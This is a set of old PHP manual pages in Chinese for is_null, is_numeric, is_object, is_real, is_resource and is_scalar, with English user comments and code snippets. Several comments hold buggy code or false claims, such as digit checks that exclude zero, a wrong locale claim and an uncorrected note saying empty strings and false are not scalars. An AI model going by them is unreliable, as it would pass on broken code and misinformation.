add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
is_integer | 上一级 | is_null


is_null

(PHP 4 >= 4.0.4, PHP 5)

is_null -- 检测变量是否为 NULL

描述

bool is_null ( mixed var )

如果 var 是 null 则返回 TRUE，否则返回 FALSE。

查看 NULL 类型获知变量什么时候被认为是 NULL，而什么时候不是。

参见 NULL、is_bool()、is_numeric()、is_float()、is_int()、is_string()、is_object()、is_array()、is_integer() 和 is_real()。

add a note add a note User Contributed Notes
jacob at gnu dot org
16-Sep-2005 02:45
The notes from the other users are confusing on what happens when a value from a mysql query is NULL (SQL NULL).  After doing a few tests, it looks like the way to test if the value is NULL or not is to use is_null($whatever)
also, it looks like this is functionally the same as (! isset($whatever) )
when you set $whatever  =NULL, isset($whatever) returns false now...
is ! isset($whatever) == is_null($whatever) for all versions of php?
btw, the reason why people want to check for the NULL in the application is when they use a query that returns multiple rows of multiple columns where some columns are NULL is some rows, but not others and they don't want to have multiple SELECT queries for each possible outcome.
MARSIK
31-Jul-2005 10:54
I've tested different values in order to compare 'em with NULL with the help of different operators...

<?php
$arr=array(0, 0.0, '0', '0.0', '',FALSE,'false',NULL, 'NULL');
for ($i=0; $i<count($arr); $i++)
   $arr[$i]=array(
     $arr[$i],
     ((integer)($arr[$i]==NULL))
     .((integer)($arr[$i]===NULL))
     .((integer)is_null($arr[$i]))
     );

var_dump($arr);
?>

it gave the following results:

0 : ==NULL
0.0 : ==NULL
'0' : nothing worked =)
'0.0' : nothing...
'' : ==NULL
FALSE : ==NULL
'false' : nothing
NULL : ==NULL, ===NULL, is_null()
'NULL' : nothing

enjoy =)
disappear at dissolution dot ath dot cx
09-May-2005 11:51
i wrote a small case study to compare is_null / == NULL / === NULL

Here's the code ::

<?php

   $Array = array ( 0 , '' , FALSE , NULL ) ;
   $ArrayCount = count ( $Array ) ;

   $String .= '$Array = ' . "array ( 0 , '' , FALSE , NULL ) <br><br>" ;

   for ( $i = 0 ; $i < $ArrayCount ; $i++ )

   {

       if ( $Array [ $i ] == NULL )

       {

           $String .= '$Array [ $i ] == NULL :: $Array [ ' . $i . ' ] <br>' ;

       }

       if ( $Array [ $i ] === NULL )

       {

           $String .= '$Array [ $i ] === NULL :: $Array [ ' . $i . ' ] <br>' ;

       }

       if ( is_null ( $Array [ $i ] ) )

       {

           $String .= 'is_null ( $Array [ $i ] ) :: $Array [ ' . $i . ' ] <br>' ;

       }

   }

   echo $String ;

?>

Here's the results i got ::

$Array = array ( 0 , '' , FALSE , NULL )

$Array [ $i ] == NULL :: $Array [ 0 ]
$Array [ $i ] == NULL :: $Array [ 1 ]
$Array [ $i ] == NULL :: $Array [ 2 ]
$Array [ $i ] == NULL :: $Array [ 3 ]
$Array [ $i ] === NULL :: $Array [ 3 ]
is_null ( $Array [ $i ] ) :: $Array [ 3 ]
jbeninger at nospam tiberDot ca
12-Apr-2004 05:18
Regarding the function that returns a default value if the passed value is null: I like my functions names to bear resemblance to their function (Nz doesn't really pass that test).

I've got a similar function but have called it "if_null" - after the SQL function that serves the same purpose.
michael at cannonbose dot com
31-Dec-2003 01:42
Regarding avoidance of NULLs in your MySQL queries, why not use  IS NULL and IS NOT NULL in your WHERE clauses.

SELECT *
FROM someDatabase
WHERE someAttribute IS NOT NULL

Cheers,

Michael
galardi at dii dot unisi dot it
20-Aug-2002 01:43
The following function is useful for set a variable to a default value the case it contains null:

function Nz($TestVar,$ValueIfNull)
{
   if (is_null($TestVar))
     return $ValueIfNull;
   else
     return $TestVar;
}

I have used it to ensure to always write something in the cells of a table; otherwise Netscape doesn't show the color of cell background. Ex:

<TD valign="top" BGCOLOR="#F0F0F0">
<?echo Nz($row2["Name"],"&nbsp;");?>
</TD>
dstone[at]NOSPAMviatraining.com
08-Jun-2002 09:19
The above example is a little wrong. An empty value is not equivalent to null in mysql. To get not null in mysql use "... where column is not null"

If you are doing a left join in mysql, no matched entry returns a null, where if you had a matched entry and were asking about a text field, '' might match, so != '' is different than is not null
thepissboy at hotmail dot com
07-May-2002 12:00
After pulling out most of my hair weeding through really unintelligible crap:

HERE'S AN EASY WAY TO ELIMINATE NULL VALUES FROM YOUR ARRAYS!!

$result = mysql_query("SELECT * FROM someDatabase WHERE page_title != ''",$db);
   if ($myrow = mysql_fetch_array($result)) {

   printf("%s\n", $myrow["page_title"]);
   }

   else {

   printf("Scratch head");
   }

It's all in the SQL Query line. The code says don't bring back anything that's empty!!!!

So hopefully, some of us will be able to get back to being in a hurry.
uioreanu at hotmail dot com
23-Mar-2001 10:36
Don't try to test
if ($intSomething==NULL) {
 ...
}
use is_null() instead.
The first statement misses 0 values.

Regards,
Calin

[Ed. note: this is because == tests for equivalence of value, but not type. NULL evaluates to
false, as does 0, so NULL == 0 is true--even though 0 is type int and NULL is type null.
You should use either is_null() as noted or ===, which returns true only if its operands are
equal and of the same type.]
add a note add a note

后退 | 起点 | 前进
is_long | 上一级 | is_numeric


is_numeric

(PHP 4, PHP 5)

is_numeric -- 检测变量是否为数字或数字字符串

描述

bool is_numeric ( mixed var )

如果 var 是数字和数字字符串则返回 TRUE，否则返回 FALSE。

参见 is_bool()、is_float()、is_int()、is_string()、is_object()、is_array() 和 is_integer()。

add a note add a note User Contributed Notes
andrea dot vacondio at gmail dot com
13-Dec-2005 11:52
Two simple functions using is_numeric:

<?php

 function is_odd($num){
     return (is_numeric($num)&($num&1));
 }

 function is_even($num){
     return (is_numeric($num)&(!($num&1)));
 }

 //examples
echo "1: odd? ".(is_odd(1)? "TRUE": "FALSE")."<br />";
//is_numeric(0) returns true
echo "0: odd? ".(is_odd(0)? "TRUE": "FALSE")."<br />";
echo "6: odd? ".(is_odd(6)? "TRUE": "FALSE")."<br />";
echo "\"italy\": odd? ".(is_odd("italy")? "TRUE": "FALSE")."<br />";
echo "null: odd? ".(is_odd(null)? "TRUE": "FALSE")."<br /><br />";
echo "1: even? ".(is_even(1)? "TRUE": "FALSE")."<br />";
echo "0: even? ".(is_even(0)? "TRUE": "FALSE")."<br />";
echo "6: even? ".(is_even(6)? "TRUE": "FALSE")."<br />";
echo "\"italy\": even? ".(is_even("italy")? "TRUE": "FALSE")."<br />";
echo "null: even? ".(is_even(null)? "TRUE": "FALSE")."<br />";

?>
And here is the result:
1: odd? TRUE
0: odd? FALSE
6: odd? FALSE
"italy": odd? FALSE
null: odd? FALSE

1: even? FALSE
0: even? TRUE
6: even? TRUE
"italy": even? FALSE
null: even? FALSE
d at duane dot com
20-Oct-2005 01:08
Below was another buggy function is_num, here is another fix:

   function is_num($var) {
       for ($i=0;$i<strlen($var);$i++) {
           $ascii_code=ord($var[$i]);
           if (intval($ascii_code) >=48 && intval($ascii_code) <=57) {
               continue;
           } else {
               return false;
           }
       }
       return true;
   }
08-Sep-2005 04:53
Below was a buggy function is_num, here is the fix:

   function is_num($var) {
       for ($i=0;$i<strlen($var);$i++) {
           $ascii_code=ord($var[$i]);
           if (intval($ascii_code) >=49 && intval($ascii_code) <=57) {
               continue;
           } else {
               return false;
           }
       }
       return true;
   }
jamespam at hotmail dot com
09-Aug-2005 05:31
Here's a function to determine if a variable represents a whole number:

function is_whole_number($var){
  return (is_numeric($var)&&(intval($var)==floatval($var)));
}

just simple stuff...
is_whole_number(2.00000000001); will return false
is_whole_number(2.00000000000); will return true
namik at hub-cafe dot net
30-Jul-2005 09:11
I needed a number_suffix function that takes numbers with thousand seperators (using number_format() function).  Note that this doesn't properly handle decimals.

Example:
<?= number_suffix('1,021') ?> returns: 1,021st

Also, increasing the range above the condition statements increases efficiency.  That's almost 20% of the numbers between 0 and 100 that get to end early.

<?
  function number_suffix($number)
  {
   // Validate and translate our input
   if ( is_numeric($number) )
   {
     // Get the last two digits (only once)
     $n = $number % 100;
   } else {
     // If the last two characters are numbers
     if ( preg_match( '/[0-9]?[0-9]$/', $number, $matches ) )
     {
       // Return the last one or two digits
       $n = array_pop($matches);
     } else {
       // Return the string, we can add a suffix to it
       return $number;
     }
   }
   // Skip the switch for as many numbers as possible.
   if ( $n > 3 && $n < 21 )
     return $number . 'th';

   // Determine the suffix for numbers ending in 1, 2 or 3, otherwise add a 'th'
   switch ( $n % 10 )
   {
     case '1': return $number . 'st';
     case '2': return $number . 'nd';
     case '3': return $number . 'rd';
     default:  return $number . 'th';
   }
  }
?>
maninblack00 at mail dot ru
30-Jul-2005 07:23
blazatek at wp dot pl wrote a function to check POST inputs for ASCII-keys or smth like that. there was an error while filtering $varvalue (it was only the value of the last filter 'addslashes')

here's the corrected function:
<?

function is_num ($num) {
     // .....
}

function test_post($tab) {
   $post = array();
   $post = $tab;
   foreach ($post as $varname => $varvalue) {
       echo $tab[$varname];
       if (empty($varvalue)) {
                 $post[$varname] = null;
       }
       elseif (is_num($varvalue)) {
                 $varvalue=trim($varvalue);
                 $varvalue=strip_tags($varvalue);
                 $varvalue=intval($varvalue);
                 $post[$varname]=addslashes($varvalue);
       }
       else {
                 $post[$varname]=NULL;
       }
   }//forech
   return $post;
}
?>

hope that correction is correct ;)
sebu
28-Jul-2005 07:37
Referring to previous post "Be aware if you use is_numeric() or is_float() after using set_locale(LC_ALL,'lang') or set_locale(LC_NUMERIC,'lang')":

This is totally wrong!

This was the example code:

-----
  set_locale(LC_NUMERIC,'fr');
  is_numeric(12.25); // Return False
  is_numeric(12,25); // Return True
  is_float(12.25); //Return False
  is_float(12,25); //Return True
-----

This is nonsense!

- set_locale() does not exist, you must use setlocale() instead
- you have to enclose 12,25 with quotes; otherwise PHP will think that
the function gets _two_ arguments: 12 and 25 (depending on PHP version and setup you may additionally get a PHP warning)
- if you don't enclose 12,25 with quotes the first argument will be the inspected value (12), the second value (25) is discarded. And is_numeric(12) and is_float(12) is always TRUE

Corrected Example:

----
  setlocale(LC_NUMERIC,'fr');
  is_numeric(12.25); // Return True
  is_numeric("12,25"); // Return False
  is_float(12.25); //Return True
  is_float("12,25"); //Return False
----

Remarks:
- is_float(12.25) is _always_ TRUE, 12.25 is a PHP language construct (a "value") and the way PHP interpretes files is definitely _not_ affected by the locale
- is_float("12,25") is _always_ FALSE, since is_float (other than is_numeric): if the argument is a string then is_float() always returns FALSE since it does a strict check for floats

And the corrected example shows: you get the _same_ results for every possible locale, is_numeric() does not depend on the locale.
ishmaelmakitla at yahoo dot com
20-May-2005 08:05
//hello mates I just wanted to bring this forth so that you may see what I have been to
I tried to validate a certain field (name ) on my project web site design so that the only field acceptable is alphabetic the problem was that it has to include a space as in "Makitla M.I"
now ctype_alpha returned false as this includes a space
the same with
<?
  if(!ctype_alpha($name)||!ctype_space($name))
?>

now this is what I did
<?
   $name=explode(" ",$name);//to get rid of space charecter
   $name=explode(".",$name)//to get rid of the dod
//finally I tested if the resulting $name is purely alphabetic
if(!ctype_alpha($name))
     {
       echo"the name entered contained some  unacceptable      charecters...please reenter";
     exit;
   }
//this solved my problem...hope this helps some of you!!
?>
Gregory Boshoff
15-May-2005 06:01
As mentioned above use the ctype character type functions to determine a strings type as ctype is faster. ctype_digit has far better benchmarks than is_numeric.

// Example:
$num = '888';
if(ctype_digit($num) === TRUE):
echo 'The string variable $num contains the decimal value '.$num;
endif;
Titouthat
28-Apr-2005 03:47
This function converts an input string into bool, int or float depending on its content.

<?php
function convert_type( $var )
{
   if( is_numeric( $var ) )
   {
       if( (float)$var != (int)$var )
       {
           return (float)$var;
       }
       else
       {
           return (int)$var;
       }
   }

   if( $var == "true" )    return true;
   if( $var == "false" )    return false;

   return $var;
}
?>

'90' return an int
'90.9' return a float
'true' return a bool
'90.0' return a int
lukesneeringer at gmail dot com
19-Mar-2005 12:32
Regarding renimar at yahoo's function to yield ordinal numbers, the function lacks one thing. It accounts for numbers in the teens only if the number is below 100. If you used this function and gave 212 as the input, it would give 212nd, and not 212th. (Also, checking for numbers between 11 and 13 is sufficient, since 14-19 yield th either way.)

Therefore,
<?php if ($num >= 11 and $num <= 19) ?>
should be changed to...
<?php if ($num % 100>= 11 and $num % 100 <= 13) ?>

It will then work perfectly all the time.

Here's the entire function with the one line changed:
<?php
function ordinalize($num) {
       if (!is_numeric($num))
               return $num;

       if ($num % 100 >= 11 and $num % 100 <= 13)
               return $num."th";
       elseif ( $num % 10 == 1 )
               return $num."st";
       elseif ( $num % 10 == 2 )
               return $num."nd";
       elseif ( $num % 10 == 3 )
               return $num."rd";
       else // $num % 10 == 0, 4-9
               return $num."th";
}
?>
codeslinger at compsalot dot com
18-Feb-2005 01:00
in version 4.3.10  I find the following

".73"  TRUE
"0.73"  TRUE
"+0.73"  TRUE

"+.73"  FALSE

I would not call it a bug, just something to be aware of.

-----

Also be aware that if you give php a huge number and then you convert it to a string you get

"INF"

if you pass that to mySQL etc. you could have a problem...
kiss dot pal at expert-net dot hu
06-Jan-2005 04:13
function is_float_ex($pNum) {
   $num_chars=("0123456789.,+-");

   if (strlen(trim($pNum))==0)  // empty $pNum -> null
     return FALSE;
   else {
     $i=0;
     $f=1;  // modify
     $v=strlen($num_chars)-$f;

     while (($i<strlen($pNum)) && ($v>=0)) {
       $v=strlen($num_chars)-$f;
       while (($v>=0) && ($num_chars[$v]<>$pNum[$i]))
         $v--;
       if ($f==1) // Only first item + vagy -
         $f=3;

       if (($pNum[$i]=='.') ||
           ($pNum[$i]==','))
         $f=5;

       $i++;
     }

     if ($v<0)
       return FALSE;
     else
       return TRUE;
   }
  }
drew at zitnay dot com
04-Jan-2005 10:07
What php at thefriedmans dot net said below about .5 returning false and .0.5 returning true isn't true, at least not for me on PHP 5.0.0.  The program:

<?php
echo (is_numeric('5') ? "true" : "false") . "\n";
echo (is_numeric('5.5') ? "true" : "false") . "\n";
echo (is_numeric('.5') ? "true" : "false") . "\n";
echo (is_numeric('.0.5') ? "true" : "false") . "\n";
?>

yields:

true
true
true
false

Just as I would expect.

Drew
mdallaire at virtuelcom dot com
18-Nov-2004 08:23
Sometimes, we need to have no letters in the number and is_numeric does not quit the job.
You can try it this ways to make sure of the number format:

   function new_is_unsigned_float($val) {
       $val=str_replace(" ","",trim($val));
       return eregi("^([0-9])+([\.|,]([0-9])*)?$",$val);
   }

   function new_is_unsigned_integer($val) {
       $val=str_replace(" ","",trim($val));
       return eregi("^([0-9])+$",$val);
   }

   function new_is_signed_float($val) {
       $val=str_replace(" ","",trim($val));
       return eregi("^-?([0-9])+([\.|,]([0-9])*)?$",$val);
   }

   function new_is_signed_integer($val) {
       $val=str_replace(" ","",trim($val));
       return eregi("^-?([0-9])+$",$val);
   }

It returns 1 if okay and returns nothing "" if it's bad number formating.
php at thefriedmans dot net
14-Oct-2004 01:19
is_numeric() in php5 returns false for strings with a leading decimal point:

<?php
is_numeric('5'); // true
is_numeric('5.5'); // true
is_numeric('.5'); // false

// but...

is_numeric('.0.5'); // true
?>

In certain situations, it may be useful to prepend a '0' to the string you're verifying with is_numeric():

<?php
if (is_numeric('0' . $user_input)) // ...
?>
renimar no spam at nospam yahoo dot com
03-May-2004 03:54
A little function to ordinalize numbers using is_numeric() and accounting for the numbers in the teens.

<?php
function ordinalize($num) {

       if (!is_numeric($num))
               return $num;

       if ($num >= 11 and $num <= 19)
               return $num."th";
       elseif ( $num % 10 == 1 )
               return $num."st";
       elseif ( $num % 10 == 2 )
               return $num."nd";
       elseif ( $num % 10 == 3 )
               return $num."rd";
       else
               return $num."th";

}

// Demo
for ($i=1; $i<=25; $i++) {
       print ordinalize($i) . " ";
}

// The loop returns:
// 1st 2nd 3rd 4th 5th 6th 7th 8th 9th 10th 11th 12th
// 13th 14th 15th 16th 17th 18th 19th 20th 21st 22nd
// 23rd 24th 25th

?>
joe at kewlmail dot net
16-Jan-2004 07:12
Here is a simple function that I found usefull for filtering user input into numbers. Basically, it attempts to fix fat fingering. For example:

$userString = "$654.4r5";

function numpass_filter($userString){
   $money = explode(".", $userString);
   //now $money[0] = "$645" and $money[1] = "4r5"

   //next remove all characters save 0 though 9
   //in both elements of the array
   $dollars = eregi_replace("[^0-9]", null, $money[0]);
   $cents = eregi_replace("[^0-9]", null, $money[1]);

   //if there was a decimal in the original string, put it back
   if((string)$cents!=null){
       $cents = "." . $cents;
   }

   $result = $dollars . $cents;

   return($result);
}

The output in this case would be '654.45'.
Please note that this function will work properly unless the user fat fingers an extra decimal in the wrong place.
kouber at saparev dot com
24-Nov-2003 07:05
Note that this function is not appropriate to check if "is_numeric" for very long strings. In fact, everything passed to this function is converted to long and then to a double. Anything greater than approximately 1.8e308 is too large for a double, so it becomes infinity, i.e. FALSE. What that means is that, for each string with more than 308 characters, is_numeric() will return FALSE, even if all chars are digits.

However, this behaviour is platform-specific.

http://www.php.net/manual/en/language.types.float.php

In such a case, it is suitable to use regular expressions:

function is_numeric_big($s=0) {
  return preg_match('/^-?\d+$/', $s);
}
blazatek at wp dot pl
21-Oct-2003 11:05
the best way to check whether
variable is numeric is to check its ascii code :)

function is_num($var)
{
   for ($i=0;$i<strlen($var);$i++)
   {
       $ascii_code=ord($var[$i]);

       if ($ascii_code >=49 && $asci_code <=57)
           continue;
       else
           return false;
   }

       return true;
}
this function can be usefull if you wont to chec eg $_POST

function test_post($tab)
{

       $post = array();
       $post=$tab;
       echo $tab["user_name"];
       foreach ($post as $varname => $varvalue)
       {
       if (empty($varvalue))
       {
           $post[$varname] = null;

       }elseif (is_num($varvalue))
       {
                       $post[$varname]=trim($varvalue);
   $post[$varname]=strip_tags($varvalue);
   $post[$varname]=intval($varvalue);
   $post[$varname]=addslashes($varvalue);
   }else
   {
                 $post[$varname]=NULL;
   }
           }
       }//forech
   return $post;
}
stew_wilde at hotmail dot com
07-Aug-2003 04:25
When using the exec() function in php to execute anther php script, any command line arguments passed the script will lose their type association, regardless of whether they are numeric or not, the same seems to hold true for strings as well.

ie : two scripts test.php:

<?php
$val = trim($argv[1]);
echo is_string($val);
?>

and testwrapper.php:

<?php
$tmp = 5;
exec("php ./test.php ".$tmp);
?>

Executing testwrapper.php on the command line will echo nothing (ie false), and false will be returned regardless of any escaping of parameters or other such attempts to overcome this.  The solution then is to explicitly cast $val in test.php to be an int and then is_numeric will work.  But as stated the same test was performed using a string for $val and the is_string() function and the same thing occurs.  Not the end of the world, but something to be aware of :)
andi_nrw at hotmail dot com
13-Feb-2003 12:25
<?php
/* This function is not useful if you want
to check that someone has filled in only
numbers into a form because for example
4e4 and 444 are both "numeric".

I used a regular expression for this problem
and it works pretty good. Maybe it is a good
idea to write a function and then to use it.

$input_number = "444"; // Answer 1
$input_number = "44 "; // Answer 2
$input_number = "4 4"; // Answer 2
$input_number = "4e4"; // Answer 2
$input_number = "e44"; // Answer 2
$input_number = "e4e"; // Answer 2
$input_number = "abc"; // Answer 2
*/
$input_number = "444";

if (preg_match ("/^([0-9]+)$/", $input_number)) {
     print "Answer 1";
} else {
     print "Answer 2";
}
?>
php dot net at davidmcarthur dot com
17-Jan-2003 04:02
This is a little more explicit and won't break when the value can't be legally cast as an int

function is_intValued($var)
{
   // Determines if a variable's value is an integer regardless of type
   // meant to be an analogy to PHP's is_numeric()
   if (is_int($var)) return TRUE;
   if (is_string($var) and $var === (string)(int) $var) return TRUE;
   if (is_float($var) and $var === (float)(int) $var) return TRUE;
   else return FALSE;
}
redy dot r at madagascan dot com
11-Dec-2002 08:54
Be aware if you use is_numeric() or is_float() after using set_locale(LC_ALL,'lang') or set_locale(LC_NUMERIC,'lang')

Example :
If at the beginning of your script, you declare :

<?php
set_locale(LC_NUMERIC,'fr');
?>

and after, you will get this :

<?php
is_numeric(12.25); // Return False
is_numeric(12,25); // Return True
is_float(12.25); //Return False
is_float(12,25); //Return True
?>

Because, for french language the decimal separator is ',' (Comma) instead of '.' (Dot).
martijnt at dataserve dot nl
02-Dec-2002 09:21
If you want to make sure that a variable contains only one or more numbers as in the range 0-9, you could use this:

eregi("[^0-9]",$var)

This checks your variable for anything that is NOT in the range 0-9.

If you use is_numeric() while checking an IP address, you should not be surprised if the following is accepted as a valid IP: 1e13.3.4.12e3 -> is_numeric() considers 1e13 and 12e3 as valid numeric values (which is correct).

Have fun.

Martijn Tigchelaar,
DataServe.
eagleflyer2 at lycos dot com
07-Sep-2002 04:02
Hi !
Many of you may have experienced that the 'is_numeric' function seems to fail always when form entries are checked against their variable type. So the function seems to return  'false' even if the form entry was aparently a number or numeric string.

The solution is pretty simple and no subroutines or fancy operations are necessary to make the 'is_numeric' function usable for form entry checks:

Simply strip off all (invisible) characters that may be sent along with the value when submitting a form entry.

Just use the 'trim' function before 'is_numeric'.

Example:

$variable = trim($variable);
if (is_numeric($variable)
{...#do something#...}
else
{...#do something else#...}
stefan at caupo dot de
29-May-2002 02:12
This will return true or false in unpredictable manner:
---------------------------------
$val = "0.0";
echo is_numeric($val);
---------------------------------
mjbraca at NOSPAM dot hotmail dot com
25-Oct-2001 01:36
Some examples. Note that leading white space is OK, but not trailing white space, and there can't be white space between the "-" and the number.

is_numeric("1,000") = F
is_numeric("1e2")  = T
is_numeric("-1e-2") = T
is_numeric("1e2.3") = F
is_numeric("1.")    = T
is_numeric("1.2")  = T
is_numeric("1.2.3") = F
is_numeric("-1")    = T
is_numeric("- 1")  = F
is_numeric("--1")  = F
is_numeric("1-")    = F
is_numeric("1A")    = F
is_numeric(" 1")    = T
is_numeric("1 ")    = F
tvali at email dot ee
11-Oct-2001 03:53
I changed function sent by
"ealma@hotmail.com 18-May-2001 12:02"
a little bit (it should be faster now).

Here is some code that will detect large values for numeric and for PHP3.

function is_num($s) {
  for ($i=0; $i<strlen($s); $i++) {
   if (($s[$i]<'0') or ($s[$i]>'9')) {return false;}
  }
return true;
}

You can also check only the first char in string (($s[0])<'9')and($s[0]>'0')), since php converts string to numeric only from beginning to the last digit.
aulbach at unter dot franken dot de
18-Sep-2001 02:07
If you want to check, if a string will be converted into the exactly same number, you have to test the following:

if ( (string)(int)$val === (string)$val ) ...

This is not the same as

if ( is_numeric($val) ) ...

cause

<?php

$a="0000001";
if ( is_numeric($a) ) echo "a is numeric";
if ( (string)(float)$a !== (string)$a) echo "a cannot be converted 100%-correctly";
?>

will output:
a is numeric
a cannot be converted 100%-correctly

Ok, ok, I know. This is a hysteric type-check. It depends on the type of application, if you use it. The aim should always be, that the user could be warned, if the value cannot be stored in the way, the user types it into.

Why? Therefore is the following example:
If you set
$a="1E+17";
the above script says that it is all right.

But then we want to convert to INT, not FLOAT. is_numeric() doesn't distinct between INT and FLOAT, so a is_numeric('1E+17') is true, but the Integer of it returns 1, which isn't perhaps, what the user expects.
uioreanu at hotmail dot com
31-Jul-2001 09:55
Or something like:

if (((int) $sWord)== $sWord) {
 // numeric only word
 // ...
}
03-Apr-2001 01:20
Seems that this function can only verify numbers up to 16 digits long. Eg:

1111111111111111111

A 19-digit number will return false.
add a note add a note

后退 | 起点 | 前进
is_null | 上一级 | is_object


is_object

(PHP 3, PHP 4, PHP 5)

is_object -- 检测变量是否是一个对象

描述

bool is_object ( mixed var )

如果 var 是一个 object 则返回 TRUE，否则返回 FALSE。

参见 is_bool()、is_int()、is_integer()、is_float()、is_string() 和 is_array()。

add a note add a note User Contributed Notes
peter at i-node dot com dot br
20-May-2006 04:03
Optimizing the is_obj() from corychristison, and with the "return false" suggested by xixulon.

function is_obj( &$object, $check=null, $strict=true )
{
  if (is_object($object)) {
     if ($check == null) {
         return true;
     } else {
           $object_name = get_class($object);
           return ($strict === true)?
               ( $object_name == $check ):
               ( strtolower($object_name) == strtolower($check) );
     }
  } else {
     return false;
  }
}
xixulon at gralgrathor dot nl
07-Jul-2005 07:30
(addendum to function below: for clarity, don't forget to return false;)
corychristison[aT-]lavacube(.dot)com
03-Feb-2005 09:06
Thank you victor AT fourstones DOT net.

I have written a function to do what victor has suggested, with the ease of use of is_object. It can be used to replace is_object(), but has an extra field [$check], to compare to a certain name. If $check is left empty, it will just check if &$object is an object.

<?php

function is_obj( &$object, $check=null, $strict=true )
{
   if( $check == null && is_object($object) )
   {
       return true;
   }
   if( is_object($object) )
   {
       $object_name = get_class($object);
       if( $strict === true )
       {
           if( $object_name == $check )
           {
               return true;
           }
       }
       else
       {
           if( strtolower($object_name) == strtolower($check) )
           {
               return true;
           }
       }
   }
}

?>

This could probably be cleaned up, but it's spaced out to be easy to read.
victor AT fourstones DOT net
02-Jan-2005 07:49
er, I don't think that's right, especially if calling from another object instance:

<?

function test_this()
{
   $c2 = new C2();
   $c2->func();
   $c1 = new C1();
   $c1->func();
   C1::func();
}

class C2
{
   function func()
   {
       C1::func();
   }
}

class C1
{
   function func()
   {
       if( isset($this) )
       {
           if( strtolower(get_class($this)) != 'c1' )
               print("oops\n");
           else
               print("this is ok\n" );
       }
       else
       {
           print("static call\n");
       }
   }
}

test_this();
?>

yields:
---------- run-php ----------

oops
this is ok
static call
corychristison[aT-]lavacube(.dot)com
01-Jan-2005 11:47
You can use is_object($this) to detect if the function is being called via instance or procedure.

Example:

<?php

class mrClass {

   function test( )
   {
       if( is_object($this) )
       {
         // do something for instance method
           echo 'this is an instance call <br />' . "\n";
       }
       else
       {
         // do something different for procedural method
           echo 'this is a procedure call <br />' . "\n";
       }
   }

}

$inst = new mrClass();
$inst->test();

mrClass::test();

?>

This would output:
this is an instance call <br />
this is a procedure call <br />

:-) Happy coding!
lbjay can be emailed at reallywow dot com
03-May-2003 03:18
I'm not even sure how to articulate this, so I'm going to just include test code. Maybe someone else will someday wonder the same thing.

<?
   error_reporting(E_ALL);
   class testParent
   {
       var $child;

       function testParent()
       {
           $this->child = new testChild();
       }
   }

   class testChild
   {
       function testChild()
       {
       }
   }

   $parent = new testParent();
   $parent2 = 'foobar';

   print join(',', Array(
       is_object($parent) ? 'yes' : 'no',
       is_object($parent->child) ? 'yes' : 'no',
       is_object($parent2) ? 'yes' : 'no',
       is_object($parent2->child) ? 'yes' : 'no'
   ));

?>

This prints "yes,yes,no,no". Basically this shows that you can use is_object to test if the child object is an object without worrying about an error if the parent object isn't an object either.
add a note add a note

后退 | 起点 | 前进
is_numeric | 上一级 | is_real


is_real

(PHP 3, PHP 4, PHP 5)

is_real -- is_float() 的别名

描述

此函数是 is_float() 的别名函数。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
is_object | 上一级 | is_resource


is_resource

(PHP 4, PHP 5)

is_resource -- 检测变量是否为资源类型

描述

bool is_resource ( mixed var )

如果给出的参数 var 是 resource 类型，is_resource() 返回 TRUE，否则返回 FALSE。

查看 resource 类型文档获取更多的信息。

add a note add a note User Contributed Notes
tacomage at NOSPAM dot devilishly-deviant dot net
07-Aug-2004 09:10
Note that the use of is_resource isn't necessary in the example.  mysql_connect (along with any other function that would return a resouce, I imagine) returns false on failure, so the same results could be obtained with:
<?php

$db_link = @mysql_connect('localhost', 'mysql_user', 'mysql_pass');
if (!$db_link) {
   die('Can\'t connect : ' . mysql_error());
}

?>

Or even:
<?php
  $db_link = @mysql_connect('localhost', 'mysql_user', 'mysql_pass')
  or die('Can\'t connect : ' . mysql_error());
}
?>

You'd be more likely to use is_resource AFTER the initial conection, to make sure the variable you intend to use as a resource is, in fact, a connection resource.  You might also use is_resource as a sanity-check prior to serializing an object, since resource variables can't be serialized.
add a note add a note

后退 | 起点 | 前进
is_real | 上一级 | is_scalar


is_scalar

(PHP 4 >= 4.0.5, PHP 5)

is_scalar -- 检测变量是否是一个标量

描述

bool is_scalar ( mixed var )

如果给出的变量参数 var 是一个标量，is_scalar() 返回 TRUE，否则返回 FALSE。

标量变量是指那些包含了 integer、float、string 或 boolean的变量，而 array、object 和 resource 则不是标量。

<?php
function show_var($var) {
    if (is_scalar($var)) {
        echo $var;
    } else {
        var_dump($var);
    }
}
$pi = 3.1416;
$proteins = array("hemoglobin", "cytochrome c oxidase", "ferredoxin");

show_var($pi);
// 打印：3.1416

show_var($proteins)
// 打印：
// array(3) {
//   [0]=>
//   string(10) "hemoglobin"
//   [1]=>
//   string(20) "cytochrome c oxidase"
//   [2]=>
//   string(10) "ferredoxin"
// }
?>

注: 尽管当前的 resource 类型是居于整数的，但 is_scalar() 不会把它们当作是标量，因为资源是抽象数据类型。不能依赖于执行细节，因为它可能会改变。

参见 is_bool()、is_numeric()、is_float()、is_int()、is_real()、is_string()、is_object()、is_array() 和 is_integer()。

add a note add a note User Contributed Notes
docey
21-May-2006 10:02
just a warning as it appears that an empty value is not a scalar.

although the manual says scalars are:
-> integers (eg. 243)
-> floats (eg. 14.4)
-> strings (eg "this is a string")
-> booleans (eg true or false)

this might seem easy but rembere that empty values are:
-> NULL
-> false
-> empty string
-> 0
-> "0"

thus the true list of scalars must be:
-> integers large then zero
-> floats larger then zero
-> strings with a lenght large then zero
-> string that do not contain only the number 0
-> boolean value of true.

especialy the boolean value false can be tricky as true is
considerd to be scalar but false is not. or a string that is
initialized with a zero lenght here's an example.

$string = ""; //initialize our string.

function store_var($var)
{
 if(is_scalar($var)){
  print("our var is a scalar.");
 }else{
  print("you tried to store something else here.");
 }
}

$this->store_var($string); // does not work as expected

this might be usefull when you create method to store a
variable inside a class but do not want to store other stuff
like object, arrays or resources, but storing an empy value
is oke. then is_scalar does not work as empty values are
incorrectly not seens as a bool, string, integer or float.

this is an important downside to is_scalar wich might cause
some people to loose there hair from headscrachting.

this might be added to the manual as a warning or something.
efelch at gmail dot com
18-Aug-2005 05:31
A scalar is a single item or value, compared to things like arrays and objects which have multiple values. This tends to be the standard definition of the word in terms of programming. An integer, character, etc are scalars. Strings are probably considered scalars since they only hold "one" value (the value represented by the characters represented) and nothing else.
Dr K
14-Aug-2005 06:48
Having hunted around the manual, I've not found a clear statement of what makes a type "scalar" (e.g. if some future version of the language introduces a new kind of type, what criterion will decide if it's "scalar"? - that goes beyond just listing what's scalar in the current version.)

In other lanuages, it means "has ordering operators" - i.e. "less than" and friends.

It (-:currently:-) appears to have the same meaning in PHP.
